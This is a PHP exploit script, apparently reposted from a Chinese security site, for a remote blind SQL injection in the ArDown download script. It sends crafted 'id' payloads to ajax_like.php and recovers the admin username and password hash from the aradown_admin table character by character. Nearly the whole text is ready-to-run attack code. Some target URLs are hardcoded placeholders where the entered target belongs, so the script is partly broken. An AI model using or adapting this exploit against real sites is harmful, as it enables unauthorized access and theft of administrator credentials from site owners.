<?php 标题: ArDown (All Version) <- Remote Blind SQL Injection 作者 : G-B www.2cto.com g22b@hotmail.com 程序下载地址 : http://aradown.info/ # Version : All Version [*]-----------------------------------------------------------------------[*] [*] Target -> "; $target = stdin(); $ar = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); echo "[*] Username : "; for($i=1;$i<=30;$i++){ foreach($ar as $char){ $b = send('http:// www.2cto.com ',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # "); if(eregi('<span class="on_img" align="center"></span>',$b) && $char == 'z'){ $i = 50; break; } if(eregi('<span class="on_img" align="center"></span>',$b)) continue; echo $char; break; } } echo "\n[*] Password : "; for($i=1;$i<=32;$i++){ foreach($ar as $char){ $b = send('http://server',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # "); if(eregi('<span class="on_img" align="center"></span>',$b)) continue; echo $char; break; } } function send($target,$query){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php"); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query)); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $r = curl_exec($ch); curl_close($ch); return $r; } function stdin(){ $fp = fopen("php://stdin","r"); $line = trim(fgets($fp)); fclose($fp); return $line; } ?>
查看更多关于AraDown盲注及修复 - 网站安全 - 自学php的详细内容...